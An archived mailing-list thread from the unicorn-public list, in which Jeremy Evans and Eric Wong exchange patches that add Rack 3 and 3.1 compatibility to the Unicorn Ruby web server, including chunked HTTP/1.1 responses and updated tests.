diff --git a/lib/unicorn/socket_helper.rb b/lib/unicorn/socket_helper.rb
index 8a6f6ee..c2ba75e 100644
--- a/lib/unicorn/socket_helper.rb
+++ b/lib/unicorn/socket_helper.rb
@@ -15,6 +15,20 @@ def kgio_tryaccept # :nodoc:
end
end
+ if IO.instance_method(:write).arity == 1 # Ruby <= 2.4
+ require 'unicorn/write_splat'
+ UNIXClient = Class.new(Kgio::Socket) # :nodoc:
+ class UNIXSrv < Kgio::UNIXServer # :nodoc:
+ include Unicorn::WriteSplat
+ def kgio_tryaccept # :nodoc:
+ super(UNIXClient)
+ end
+ end
+ TCPClient.__send__(:include, Unicorn::WriteSplat)
+ else # Ruby 2.5+
+ UNIXSrv = Kgio::UNIXServer
+ end
+
module SocketHelper
# internal interface
@@ -135,7 +149,7 @@ def bind_listen(address = '0.0.0.0:8080', opt = {})
end
old_umask = File.umask(opt[:umask] || 0)
begin
- Kgio::UNIXServer.new(address)
+ UNIXSrv.new(address)
ensure
File.umask(old_umask)
end
@@ -203,7 +217,7 @@ def server_cast(sock)
Socket.unpack_sockaddr_in(sock.getsockname)
TCPSrv.for_fd(sock.fileno)
rescue ArgumentError
- Kgio::UNIXServer.for_fd(sock.fileno)
+ UNIXSrv.for_fd(sock.fileno)
end
end
diff --git a/lib/unicorn/write_splat.rb b/lib/unicorn/write_splat.rb
new file mode 100644
index 0000000..7e6e363
--- /dev/null
+++ b/lib/unicorn/write_splat.rb
@@ -0,0 +1,7 @@
+# -*- encoding: binary -*-
+# compatibility module for Ruby <= 2.4, remove when we go Ruby 2.5+
+module Unicorn::WriteSplat # :nodoc:
+ def write(*arg) # :nodoc:
+ super(arg.join(''))
+ end
+end
diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
index 98e85ab..fe98fcc 100644
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -196,7 +196,7 @@ def test_client_shutdown_writes
# continue to process our request and never hit EOFError on our sock
sock.shutdown(Socket::SHUT_WR)
buf = sock.read
- assert_equal 'hello!\n', buf.split(/\r\n\r\n/).last
+ assert_match %r{\bhello!\\n\b}, buf.split(/\r\n\r\n/, 2).last
next_client = Net::HTTP.get(URI.parse("http://127.0.0.1:#@port/"))
assert_equal 'hello!\n', next_client
lines = File.readlines("test_stderr.#$$.log")
^ permalink raw reply related [relevance 4%]
* Re: Rack 3 Compatibility
2023-06-02 0:00 5% ` Eric Wong
@ 2023-06-02 2:45 0% ` Jeremy Evans
2023-06-05 9:12 4% ` [PATCH v2] chunk unterminated HTTP/1.1 responses for Rack 3.1 Eric Wong
0 siblings, 1 reply; 200+ results
From: Jeremy Evans @ 2023-06-02 2:45 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
On 06/02 12:00, Eric Wong wrote:
> Jeremy Evans <code@jeremyevans.net> wrote:
> > This takes Eric's patch from December 25, 2022, and includes all
> > necessary test fixes to allow Unicorn tests to pass with both
> > Rack 3 and Rack 2 (and probably Rack 1). It includes a test fix for
> > newer curl versions and an OpenBSD test fix.
> >
> > Hopefully this is acceptable and Unicorn 6.2 can be released with Rack 3
> > support. If further fixes are needed, I'm happy to work on them.
>
> Isn't a chunk replacement needed for Rack 3.1, also?
> I dunno if I missed anything else in Rack 3.x; and don't want to
> make too many releases if we can do 3.0 and 3.1 in one go.
We deprecated Rack::Chunked in Rack 3.0 and plan to remove it in Rack
3.1. I agree it would be best to deal with this now, I just wasn't sure
how you wanted to handle it. Your patch below to deal with it at the
server level looks good, though it doesn't appear to remove the Chunked
usage at line 69 of unicorn.rb. I recommend that also be removed.
Thanks,
Jeremy
> -------8<-------
> Subject: [PATCH] chunk unterminated HTTP/1.1 responses
>
> Rack::Chunked will be gone in Rack 3.1, so provide a
> non-middleware fallback which takes advantage of IO#write
> supporting multiple arguments in Ruby 2.5+.
>
> We still need to support Ruby 2.4, at least, since Rack 3.0
> does. So a new (GC-unfriendly) Unicorn::WriteSplat module now
> exists for Ruby <= 2.4 users.
> ---
> ext/unicorn_http/unicorn_http.rl | 11 +++++++++++
> lib/unicorn.rb | 4 ++--
> lib/unicorn/http_response.rb | 21 ++++++++++++++++++++-
> lib/unicorn/socket_helper.rb | 18 ++++++++++++++++--
> lib/unicorn/write_splat.rb | 7 +++++++
> test/unit/test_server.rb | 2 +-
> 6 files changed, 57 insertions(+), 6 deletions(-)
> create mode 100644 lib/unicorn/write_splat.rb
>
> diff --git a/ext/unicorn_http/unicorn_http.rl b/ext/unicorn_http/unicorn_http.rl
> index ba23438..c339024 100644
> --- a/ext/unicorn_http/unicorn_http.rl
> +++ b/ext/unicorn_http/unicorn_http.rl
> @@ -28,6 +28,7 @@ void init_unicorn_httpdate(void);
> #define UH_FL_TO_CLEAR 0x200
> #define UH_FL_RESSTART 0x400 /* for check_client_connection */
> #define UH_FL_HIJACK 0x800
> +#define UH_FL_RES_CHUNK_OK (1U << 12)
>
> /* all of these flags need to be set for keepalive to be supported */
> #define UH_FL_KEEPALIVE (UH_FL_KAVERSION | UH_FL_REQEOF | UH_FL_HASHEADER)
> @@ -158,6 +159,7 @@ http_version(struct http_parser *hp, const char *ptr, size_t len)
> if (CONST_MEM_EQ("HTTP/1.1", ptr, len)) {
> /* HTTP/1.1 implies keepalive unless "Connection: close" is set */
> HP_FL_SET(hp, KAVERSION);
> + HP_FL_SET(hp, RES_CHUNK_OK);
> v = g_http_11;
> } else if (CONST_MEM_EQ("HTTP/1.0", ptr, len)) {
> v = g_http_10;
> @@ -801,6 +803,14 @@ static VALUE HttpParser_keepalive(VALUE self)
> return HP_FL_ALL(hp, KEEPALIVE) ? Qtrue : Qfalse;
> }
>
> +/* :nodoc: */
> +static VALUE chunkable_response_p(VALUE self)
> +{
> + struct http_parser *hp = data_get(self);
> +
> + return HP_FL_ALL(hp, RES_CHUNK_OK) ? Qtrue : Qfalse;
> +}
> +
> /**
> * call-seq:
> * parser.next? => true or false
> @@ -981,6 +991,7 @@ void Init_unicorn_http(void)
> rb_define_method(cHttpParser, "content_length", HttpParser_content_length, 0);
> rb_define_method(cHttpParser, "body_eof?", HttpParser_body_eof, 0);
> rb_define_method(cHttpParser, "keepalive?", HttpParser_keepalive, 0);
> + rb_define_method(cHttpParser, "chunkable_response?", chunkable_response_p, 0);
> rb_define_method(cHttpParser, "headers?", HttpParser_has_headers, 0);
> rb_define_method(cHttpParser, "next?", HttpParser_next, 0);
> rb_define_method(cHttpParser, "buf", HttpParser_buf, 0);
> diff --git a/lib/unicorn.rb b/lib/unicorn.rb
> index 1a50631..8b1cda7 100644
> --- a/lib/unicorn.rb
> +++ b/lib/unicorn.rb
> @@ -75,8 +75,8 @@ def self.builder(ru, op)
>
> # return value, matches rackup defaults based on env
> # Unicorn does not support persistent connections, but Rainbows!
> - # and Zbatery both do. Users accustomed to the Rack::Server default
> - # middlewares will need ContentLength/Chunked middlewares.
> + # does. Users accustomed to the Rack::Server default
> + # middlewares will need ContentLength middleware.
> case ENV["RACK_ENV"]
> when "development"
> when "deployment"
> diff --git a/lib/unicorn/http_response.rb b/lib/unicorn/http_response.rb
> index 19469b4..342dd0b 100644
> --- a/lib/unicorn/http_response.rb
> +++ b/lib/unicorn/http_response.rb
> @@ -35,11 +35,12 @@ def append_header(buf, key, value)
> def http_response_write(socket, status, headers, body,
> req = Unicorn::HttpRequest.new)
> hijack = nil
> -
> + do_chunk = false
> if headers
> code = status.to_i
> msg = STATUS_CODES[code]
> start = req.response_start_sent ? ''.freeze : 'HTTP/1.1 '.freeze
> + term = false
> buf = "#{start}#{msg ? %Q(#{code} #{msg}) : status}\r\n" \
> "Date: #{httpdate}\r\n" \
> "Connection: close\r\n"
> @@ -47,6 +48,12 @@ def http_response_write(socket, status, headers, body,
> case key
> when %r{\A(?:Date|Connection)\z}i
> next
> + when %r{\AContent-Length\z}i
> + append_header(buf, key, value)
> + term = true
> + when %r{\ATransfer-Encoding\z}i
> + append_header(buf, key, value)
> + term = true if /\bchunked\b/i === value # value may be Array :x
> when "rack.hijack"
> # This should only be hit under Rack >= 1.5, as this was an illegal
> # key in Rack < 1.5
> @@ -55,12 +62,24 @@ def http_response_write(socket, status, headers, body,
> append_header(buf, key, value)
> end
> end
> + if !hijack && !term && req.chunkable_response?
> + do_chunk = true
> + buf << "Transfer-Encoding: chunked\r\n".freeze
> + end
> socket.write(buf << "\r\n".freeze)
> end
>
> if hijack
> req.hijacked!
> hijack.call(socket)
> + elsif do_chunk
> + begin
> + body.each do |b|
> + socket.write("#{b.bytesize.to_s(16)}\r\n", b, "\r\n".freeze)
> + end
> + ensure
> + socket.write("0\r\n\r\n".freeze)
> + end
> else
> body.each { |chunk| socket.write(chunk) }
> end
> diff --git a/lib/unicorn/socket_helper.rb b/lib/unicorn/socket_helper.rb
> index 8a6f6ee..4ae4c85 100644
> --- a/lib/unicorn/socket_helper.rb
> +++ b/lib/unicorn/socket_helper.rb
> @@ -15,6 +15,20 @@ def kgio_tryaccept # :nodoc:
> end
> end
>
> + if IO.instance_method(:write).arity # Ruby <= 2.4
> + require 'unicorn/write_splat'
> + UNIXClient = Class.new(Kgio::Socket) # :nodoc:
> + class UNIXSrv < Kgio::UNIXServer # :nodoc:
> + include Unicorn::WriteSplat
> + def kgio_tryaccept # :nodoc:
> + super(UNIXClient)
> + end
> + end
> + TCPClient.__send__(:include, Unicorn::WriteSplat)
> + else # Ruby 2.5+
> + UNIXSrv = Kgio::UNIXServer
> + end
> +
> module SocketHelper
>
> # internal interface
> @@ -135,7 +149,7 @@ def bind_listen(address = '0.0.0.0:8080', opt = {})
> end
> old_umask = File.umask(opt[:umask] || 0)
> begin
> - Kgio::UNIXServer.new(address)
> + UNIXSrv.new(address)
> ensure
> File.umask(old_umask)
> end
> @@ -203,7 +217,7 @@ def server_cast(sock)
> Socket.unpack_sockaddr_in(sock.getsockname)
> TCPSrv.for_fd(sock.fileno)
> rescue ArgumentError
> - Kgio::UNIXServer.for_fd(sock.fileno)
> + UNIXSrv.for_fd(sock.fileno)
> end
> end
>
> diff --git a/lib/unicorn/write_splat.rb b/lib/unicorn/write_splat.rb
> new file mode 100644
> index 0000000..7e6e363
> --- /dev/null
> +++ b/lib/unicorn/write_splat.rb
> @@ -0,0 +1,7 @@
> +# -*- encoding: binary -*-
> +# compatibility module for Ruby <= 2.4, remove when we go Ruby 2.5+
> +module Unicorn::WriteSplat # :nodoc:
> + def write(*arg) # :nodoc:
> + super(arg.join(''))
> + end
> +end
> diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
> index 98e85ab..cea9791 100644
> --- a/test/unit/test_server.rb
> +++ b/test/unit/test_server.rb
> @@ -196,7 +196,7 @@ def test_client_shutdown_writes
> # continue to process our request and never hit EOFError on our sock
> sock.shutdown(Socket::SHUT_WR)
> buf = sock.read
> - assert_equal 'hello!\n', buf.split(/\r\n\r\n/).last
> + assert_match %r{\bhello!\\n\b}, buf.split(/\r\n\r\n/).last
> next_client = Net::HTTP.get(URI.parse("http://127.0.0.1:#@port/"))
> assert_equal 'hello!\n', next_client
> lines = File.readlines("test_stderr.#$$.log")
^ permalink raw reply [relevance 0%]
* Re: Rack 3 Compatibility
2023-06-01 18:54 17% Rack 3 Compatibility Jeremy Evans
@ 2023-06-02 0:00 5% ` Eric Wong
2023-06-02 2:45 0% ` Jeremy Evans
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2023-06-02 0:00 UTC (permalink / raw)
To: Jeremy Evans; +Cc: unicorn-public
Jeremy Evans <code@jeremyevans.net> wrote:
> This takes Eric's patch from December 25, 2022, and includes all
> necessary test fixes to allow Unicorn tests to pass with both
> Rack 3 and Rack 2 (and probably Rack 1). It includes a test fix for
> newer curl versions and an OpenBSD test fix.
>
> Hopefully this is acceptable and Unicorn 6.2 can be released with Rack 3
> support. If further fixes are needed, I'm happy to work on them.
Isn't a chunk replacement needed for Rack 3.1, also?
I dunno if I missed anything else in Rack 3.x; and don't want to
make too many releases if we can do 3.0 and 3.1 in one go.
-------8<-------
Subject: [PATCH] chunk unterminated HTTP/1.1 responses
Rack::Chunked will be gone in Rack 3.1, so provide a
non-middleware fallback which takes advantage of IO#write
supporting multiple arguments in Ruby 2.5+.
We still need to support Ruby 2.4, at least, since Rack 3.0
does. So a new (GC-unfriendly) Unicorn::WriteSplat module now
exists for Ruby <= 2.4 users.
---
ext/unicorn_http/unicorn_http.rl | 11 +++++++++++
lib/unicorn.rb | 4 ++--
lib/unicorn/http_response.rb | 21 ++++++++++++++++++++-
lib/unicorn/socket_helper.rb | 18 ++++++++++++++++--
lib/unicorn/write_splat.rb | 7 +++++++
test/unit/test_server.rb | 2 +-
6 files changed, 57 insertions(+), 6 deletions(-)
create mode 100644 lib/unicorn/write_splat.rb
diff --git a/ext/unicorn_http/unicorn_http.rl b/ext/unicorn_http/unicorn_http.rl
index ba23438..c339024 100644
--- a/ext/unicorn_http/unicorn_http.rl
+++ b/ext/unicorn_http/unicorn_http.rl
@@ -28,6 +28,7 @@ void init_unicorn_httpdate(void);
#define UH_FL_TO_CLEAR 0x200
#define UH_FL_RESSTART 0x400 /* for check_client_connection */
#define UH_FL_HIJACK 0x800
+#define UH_FL_RES_CHUNK_OK (1U << 12)
/* all of these flags need to be set for keepalive to be supported */
#define UH_FL_KEEPALIVE (UH_FL_KAVERSION | UH_FL_REQEOF | UH_FL_HASHEADER)
@@ -158,6 +159,7 @@ http_version(struct http_parser *hp, const char *ptr, size_t len)
if (CONST_MEM_EQ("HTTP/1.1", ptr, len)) {
/* HTTP/1.1 implies keepalive unless "Connection: close" is set */
HP_FL_SET(hp, KAVERSION);
+ HP_FL_SET(hp, RES_CHUNK_OK);
v = g_http_11;
} else if (CONST_MEM_EQ("HTTP/1.0", ptr, len)) {
v = g_http_10;
@@ -801,6 +803,14 @@ static VALUE HttpParser_keepalive(VALUE self)
return HP_FL_ALL(hp, KEEPALIVE) ? Qtrue : Qfalse;
}
+/* :nodoc: */
+static VALUE chunkable_response_p(VALUE self)
+{
+ struct http_parser *hp = data_get(self);
+
+ return HP_FL_ALL(hp, RES_CHUNK_OK) ? Qtrue : Qfalse;
+}
+
/**
* call-seq:
* parser.next? => true or false
@@ -981,6 +991,7 @@ void Init_unicorn_http(void)
rb_define_method(cHttpParser, "content_length", HttpParser_content_length, 0);
rb_define_method(cHttpParser, "body_eof?", HttpParser_body_eof, 0);
rb_define_method(cHttpParser, "keepalive?", HttpParser_keepalive, 0);
+ rb_define_method(cHttpParser, "chunkable_response?", chunkable_response_p, 0);
rb_define_method(cHttpParser, "headers?", HttpParser_has_headers, 0);
rb_define_method(cHttpParser, "next?", HttpParser_next, 0);
rb_define_method(cHttpParser, "buf", HttpParser_buf, 0);
diff --git a/lib/unicorn.rb b/lib/unicorn.rb
index 1a50631..8b1cda7 100644
--- a/lib/unicorn.rb
+++ b/lib/unicorn.rb
@@ -75,8 +75,8 @@ def self.builder(ru, op)
# return value, matches rackup defaults based on env
# Unicorn does not support persistent connections, but Rainbows!
- # and Zbatery both do. Users accustomed to the Rack::Server default
- # middlewares will need ContentLength/Chunked middlewares.
+ # does. Users accustomed to the Rack::Server default
+ # middlewares will need ContentLength middleware.
case ENV["RACK_ENV"]
when "development"
when "deployment"
diff --git a/lib/unicorn/http_response.rb b/lib/unicorn/http_response.rb
index 19469b4..342dd0b 100644
--- a/lib/unicorn/http_response.rb
+++ b/lib/unicorn/http_response.rb
@@ -35,11 +35,12 @@ def append_header(buf, key, value)
def http_response_write(socket, status, headers, body,
req = Unicorn::HttpRequest.new)
hijack = nil
-
+ do_chunk = false
if headers
code = status.to_i
msg = STATUS_CODES[code]
start = req.response_start_sent ? ''.freeze : 'HTTP/1.1 '.freeze
+ term = false
buf = "#{start}#{msg ? %Q(#{code} #{msg}) : status}\r\n" \
"Date: #{httpdate}\r\n" \
"Connection: close\r\n"
@@ -47,6 +48,12 @@ def http_response_write(socket, status, headers, body,
case key
when %r{\A(?:Date|Connection)\z}i
next
+ when %r{\AContent-Length\z}i
+ append_header(buf, key, value)
+ term = true
+ when %r{\ATransfer-Encoding\z}i
+ append_header(buf, key, value)
+ term = true if /\bchunked\b/i === value # value may be Array :x
when "rack.hijack"
# This should only be hit under Rack >= 1.5, as this was an illegal
# key in Rack < 1.5
@@ -55,12 +62,24 @@ def http_response_write(socket, status, headers, body,
append_header(buf, key, value)
end
end
+ if !hijack && !term && req.chunkable_response?
+ do_chunk = true
+ buf << "Transfer-Encoding: chunked\r\n".freeze
+ end
socket.write(buf << "\r\n".freeze)
end
if hijack
req.hijacked!
hijack.call(socket)
+ elsif do_chunk
+ begin
+ body.each do |b|
+ socket.write("#{b.bytesize.to_s(16)}\r\n", b, "\r\n".freeze)
+ end
+ ensure
+ socket.write("0\r\n\r\n".freeze)
+ end
else
body.each { |chunk| socket.write(chunk) }
end
diff --git a/lib/unicorn/socket_helper.rb b/lib/unicorn/socket_helper.rb
index 8a6f6ee..4ae4c85 100644
--- a/lib/unicorn/socket_helper.rb
+++ b/lib/unicorn/socket_helper.rb
@@ -15,6 +15,20 @@ def kgio_tryaccept # :nodoc:
end
end
+ if IO.instance_method(:write).arity # Ruby <= 2.4
+ require 'unicorn/write_splat'
+ UNIXClient = Class.new(Kgio::Socket) # :nodoc:
+ class UNIXSrv < Kgio::UNIXServer # :nodoc:
+ include Unicorn::WriteSplat
+ def kgio_tryaccept # :nodoc:
+ super(UNIXClient)
+ end
+ end
+ TCPClient.__send__(:include, Unicorn::WriteSplat)
+ else # Ruby 2.5+
+ UNIXSrv = Kgio::UNIXServer
+ end
+
module SocketHelper
# internal interface
@@ -135,7 +149,7 @@ def bind_listen(address = '0.0.0.0:8080', opt = {})
end
old_umask = File.umask(opt[:umask] || 0)
begin
- Kgio::UNIXServer.new(address)
+ UNIXSrv.new(address)
ensure
File.umask(old_umask)
end
@@ -203,7 +217,7 @@ def server_cast(sock)
Socket.unpack_sockaddr_in(sock.getsockname)
TCPSrv.for_fd(sock.fileno)
rescue ArgumentError
- Kgio::UNIXServer.for_fd(sock.fileno)
+ UNIXSrv.for_fd(sock.fileno)
end
end
diff --git a/lib/unicorn/write_splat.rb b/lib/unicorn/write_splat.rb
new file mode 100644
index 0000000..7e6e363
--- /dev/null
+++ b/lib/unicorn/write_splat.rb
@@ -0,0 +1,7 @@
+# -*- encoding: binary -*-
+# compatibility module for Ruby <= 2.4, remove when we go Ruby 2.5+
+module Unicorn::WriteSplat # :nodoc:
+ def write(*arg) # :nodoc:
+ super(arg.join(''))
+ end
+end
diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
index 98e85ab..cea9791 100644
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -196,7 +196,7 @@ def test_client_shutdown_writes
# continue to process our request and never hit EOFError on our sock
sock.shutdown(Socket::SHUT_WR)
buf = sock.read
- assert_equal 'hello!\n', buf.split(/\r\n\r\n/).last
+ assert_match %r{\bhello!\\n\b}, buf.split(/\r\n\r\n/).last
next_client = Net::HTTP.get(URI.parse("http://127.0.0.1:#@port/"))
assert_equal 'hello!\n', next_client
lines = File.readlines("test_stderr.#$$.log")
^ permalink raw reply related [relevance 5%]
* Rack 3 Compatibility
@ 2023-06-01 18:54 17% Jeremy Evans
2023-06-02 0:00 5% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Jeremy Evans @ 2023-06-01 18:54 UTC (permalink / raw)
To: unicorn-public
This takes Eric's patch from December 25, 2022, and includes all
necessary test fixes to allow Unicorn tests to pass with both
Rack 3 and Rack 2 (and probably Rack 1). It includes a test fix for
newer curl versions and an OpenBSD test fix.
Hopefully this is acceptable and Unicorn 6.2 can be released with Rack 3
support. If further fixes are needed, I'm happy to work on them.
Thanks,
Jeremy
---
From 6ba4e7234af9d6ea3e85e646f798b1fbf6799234 Mon Sep 17 00:00:00 2001
From: Jeremy Evans <code@jeremyevans.net>
Date: Thu, 1 Jun 2023 08:55:14 -0700
Subject: [PATCH] Support Rack 3 and fix tests on Rack 3
Most changes are to the tests to avoid uppercase characters in header
keys, which are no longer allowed in rack 3 (to allow for O(1) access).
This also changes a few places where an array of headers was used to
switch to a hash, as a hash is requierd in Rack 3.
Newer versions of curl use a 000 http_code for invalid http codes,
so switch from "42 -eq" to "500 -ne" in the test, as Rack::Lint will
always raise a 500 error.
There is one test that fails on OpenBSD when opening a fifo. This is
unrelated to unicorn as far as I can see, so skip the remaining part
of the test in that case on OpenBSD.
Tests still pass on Rack 2, and presumably Rack 1 as well, though
I didn't test Rack 1.
Co-authored-by: Eric Wong <bofh@yhbt.net>
---
lib/unicorn/http_response.rb | 19 +++++++++++++------
lib/unicorn/http_server.rb | 21 +++++----------------
t/heartbeat-timeout.ru | 2 +-
t/rack-input-tests.ru | 2 +-
t/t0300-no-default-middleware.sh | 2 +-
t/t0301.ru | 4 ++--
t/write-on-close.ru | 2 +-
test/exec/test_exec.rb | 20 +++++++++++++-------
test/unit/test_ccc.rb | 2 +-
test/unit/test_request.rb | 2 +-
test/unit/test_server.rb | 8 ++++----
test/unit/test_signals.rb | 14 +++++++-------
12 files changed, 50 insertions(+), 48 deletions(-)
diff --git a/lib/unicorn/http_response.rb b/lib/unicorn/http_response.rb
index b23e521..19469b4 100644
--- a/lib/unicorn/http_response.rb
+++ b/lib/unicorn/http_response.rb
@@ -19,6 +19,18 @@ def err_response(code, response_start_sent)
"#{code} #{STATUS_CODES[code]}\r\n\r\n"
end
+ def append_header(buf, key, value)
+ case value
+ when Array # Rack 3
+ value.each { |v| buf << "#{key}: #{v}\r\n" }
+ when /\n/ # Rack 2
+ # avoiding blank, key-only cookies with /\n+/
+ value.split(/\n+/).each { |v| buf << "#{key}: #{v}\r\n" }
+ else
+ buf << "#{key}: #{value}\r\n"
+ end
+ end
+
# writes the rack_response to socket as an HTTP response
def http_response_write(socket, status, headers, body,
req = Unicorn::HttpRequest.new)
@@ -40,12 +52,7 @@ def http_response_write(socket, status, headers, body,
# key in Rack < 1.5
hijack = value
else
- if value =~ /\n/
- # avoiding blank, key-only cookies with /\n+/
- value.split(/\n+/).each { |v| buf << "#{key}: #{v}\r\n" }
- else
- buf << "#{key}: #{value}\r\n"
- end
+ append_header(buf, key, value)
end
end
socket.write(buf << "\r\n".freeze)
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 3416808..cad515b 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -589,22 +589,11 @@ def handle_error(client, e)
end
def e103_response_write(client, headers)
- response = if @request.response_start_sent
- "103 Early Hints\r\n"
- else
- "HTTP/1.1 103 Early Hints\r\n"
- end
-
- headers.each_pair do |k, vs|
- next if !vs || vs.empty?
- values = vs.to_s.split("\n".freeze)
- values.each do |v|
- response << "#{k}: #{v}\r\n"
- end
- end
- response << "\r\n".freeze
- response << "HTTP/1.1 ".freeze if @request.response_start_sent
- client.write(response)
+ rss = @request.response_start_sent
+ buf = rss ? "103 Early Hints\r\n" : "HTTP/1.1 103 Early Hints\r\n"
+ headers.each { |key, value| append_header(buf, key, value) }
+ buf << (rss ? "\r\nHTTP/1.1 ".freeze : "\r\n".freeze)
+ client.write(buf)
end
def e100_response_write(client, env)
diff --git a/t/heartbeat-timeout.ru b/t/heartbeat-timeout.ru
index d9904e8..20a7938 100644
--- a/t/heartbeat-timeout.ru
+++ b/t/heartbeat-timeout.ru
@@ -1,5 +1,5 @@
use Rack::ContentLength
-headers = { 'Content-Type' => 'text/plain' }
+headers = { 'content-type' => 'text/plain' }
run lambda { |env|
case env['PATH_INFO']
when "/block-forever"
diff --git a/t/rack-input-tests.ru b/t/rack-input-tests.ru
index 8c35630..5459e85 100644
--- a/t/rack-input-tests.ru
+++ b/t/rack-input-tests.ru
@@ -16,6 +16,6 @@
end while input.read(rand(cap), buf)
end
- [ 200, {'Content-Type' => 'text/plain'}, [ digest.hexdigest << "\n" ] ]
+ [ 200, {'content-type' => 'text/plain'}, [ digest.hexdigest << "\n" ] ]
end
run app
diff --git a/t/t0300-no-default-middleware.sh b/t/t0300-no-default-middleware.sh
index 779dc02..00feacc 100644
--- a/t/t0300-no-default-middleware.sh
+++ b/t/t0300-no-default-middleware.sh
@@ -9,7 +9,7 @@ t_begin "setup and start" && {
}
t_begin "check exit status with Rack::Lint not present" && {
- test 42 -eq "$(curl -sf -o/dev/null -w'%{http_code}' http://$listen/)"
+ test 500 -ne "$(curl -sf -o/dev/null -w'%{http_code}' http://$listen/)"
}
t_begin "killing succeeds" && {
diff --git a/t/t0301.ru b/t/t0301.ru
index 1ae8ea7..ce68213 100644
--- a/t/t0301.ru
+++ b/t/t0301.ru
@@ -6,8 +6,8 @@
"lint=#{caller.grep(%r{rack/lint\.rb})[0].split(':')[0]}\n"
end
h = {
- 'Content-Length' => b.size.to_s,
- 'Content-Type' => 'text/plain',
+ 'content-length' => b.size.to_s,
+ 'content-type' => 'text/plain',
}
[ 200, h, [ b ] ]
end)
diff --git a/t/write-on-close.ru b/t/write-on-close.ru
index 54a2f2e..725c4d6 100644
--- a/t/write-on-close.ru
+++ b/t/write-on-close.ru
@@ -8,4 +8,4 @@ def close
end
end
use Rack::ContentType, "text/plain"
-run(lambda { |_| [ 200, [%w(Transfer-Encoding chunked)], WriteOnClose.new ] })
+run(lambda { |_| [ 200, { 'transfer-encoding' => 'chunked' }, WriteOnClose.new ] })
diff --git a/test/exec/test_exec.rb b/test/exec/test_exec.rb
index aacd917..2929b2e 100644
--- a/test/exec/test_exec.rb
+++ b/test/exec/test_exec.rb
@@ -25,20 +25,20 @@ class ExecTest < Test::Unit::TestCase
HI = <<-EOS
use Rack::ContentLength
-run proc { |env| [ 200, { 'Content-Type' => 'text/plain' }, [ "HI\\n" ] ] }
+run proc { |env| [ 200, { 'content-type' => 'text/plain' }, [ "HI\\n" ] ] }
EOS
SHOW_RACK_ENV = <<-EOS
use Rack::ContentLength
run proc { |env|
- [ 200, { 'Content-Type' => 'text/plain' }, [ ENV['RACK_ENV'] ] ]
+ [ 200, { 'content-type' => 'text/plain' }, [ ENV['RACK_ENV'] ] ]
}
EOS
HELLO = <<-EOS
class Hello
def call(env)
- [ 200, { 'Content-Type' => 'text/plain' }, [ "HI\\n" ] ]
+ [ 200, { 'content-type' => 'text/plain' }, [ "HI\\n" ] ]
end
end
EOS
@@ -62,9 +62,9 @@ def call(env)
a = ::File.stat(pwd)
b = ::File.stat(Dir.pwd)
if (a.ino == b.ino && a.dev == b.dev)
- [ 200, { 'Content-Type' => 'text/plain' }, [ pwd ] ]
+ [ 200, { 'content-type' => 'text/plain' }, [ pwd ] ]
else
- [ 404, { 'Content-Type' => 'text/plain' }, [] ]
+ [ 404, { 'content-type' => 'text/plain' }, [] ]
end
}
EOS
@@ -255,7 +255,13 @@ def test_working_directory_controls_relative_paths
end
EOF
pid = xfork { redirect_test_io { exec($unicorn_bin, "-c#{tmp.path}") } }
- File.open("#{other.path}/fifo", "rb").close
+ begin
+ fifo = File.open("#{other.path}/fifo", "rb")
+ rescue Errno::EINTR
+ # OpenBSD raises Errno::EINTR when opening
+ return if RUBY_PLATFORM =~ /openbsd/
+ end
+ fifo.close
assert ! File.exist?("stderr_log_here")
assert ! File.exist?("stdout_log_here")
@@ -557,7 +563,7 @@ def test_unicorn_config_listen_with_options
def test_unicorn_config_per_worker_listen
port2 = unused_port
pid_spit = 'use Rack::ContentLength;' \
- 'run proc { |e| [ 200, {"Content-Type"=>"text/plain"}, ["#$$\\n"] ] }'
+ 'run proc { |e| [ 200, {"content-type"=>"text/plain"}, ["#$$\\n"] ] }'
File.open("config.ru", "wb") { |fp| fp.syswrite(pid_spit) }
tmp = Tempfile.new('test.socket')
File.unlink(tmp.path)
diff --git a/test/unit/test_ccc.rb b/test/unit/test_ccc.rb
index 0dc72e8..f518230 100644
--- a/test/unit/test_ccc.rb
+++ b/test/unit/test_ccc.rb
@@ -29,7 +29,7 @@ def test_ccc_tcpi
# will wake up when writer closes
sleep_pipe[0].read if env['PATH_INFO'] == '/sleep'
- [ 200, [ %w(Content-Length 0), %w(Content-Type text/plain) ], [] ]
+ [ 200, {'content-length'=>'0', 'content-type'=>'text/plain'}, [] ]
end
ENV['UNICORN_FD'] = srv.fileno.to_s
opts = {
diff --git a/test/unit/test_request.rb b/test/unit/test_request.rb
index 6cb0268..7f22b24 100644
--- a/test/unit/test_request.rb
+++ b/test/unit/test_request.rb
@@ -22,7 +22,7 @@ def kgio_addr
def setup
@request = HttpRequest.new
@app = lambda do |env|
- [ 200, { 'Content-Length' => '0', 'Content-Type' => 'text/plain' }, [] ]
+ [ 200, { 'content-length' => '0', 'content-type' => 'text/plain' }, [] ]
end
@lint = Rack::Lint.new(@app)
end
diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
index bc9a222..98e85ab 100644
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -16,7 +16,7 @@ class TestHandler
def call(env)
while env['rack.input'].read(4096)
end
- [200, { 'Content-Type' => 'text/plain' }, ['hello!\n']]
+ [200, { 'content-type' => 'text/plain' }, ['hello!\n']]
rescue Unicorn::ClientShutdown, Unicorn::HttpParserError => e
$stderr.syswrite("#{e.class}: #{e.message} #{e.backtrace.empty?}\n")
raise e
@@ -30,7 +30,7 @@ def call(env)
env['rack.early_hints'].call(
"Link" => "</style.css>; rel=preload; as=style\n</script.js>; rel=preload"
)
- [200, { 'Content-Type' => 'text/plain' }, ['hello!\n']]
+ [200, { 'content-type' => 'text/plain' }, ['hello!\n']]
end
end
@@ -45,7 +45,7 @@ def call(env)
env["rack.after_reply"] << -> { @called = true }
- [200, { 'Content-Type' => 'text/plain' }, ["after_reply_called: #{@called}"]]
+ [200, { 'content-type' => 'text/plain' }, ["after_reply_called: #{@called}"]]
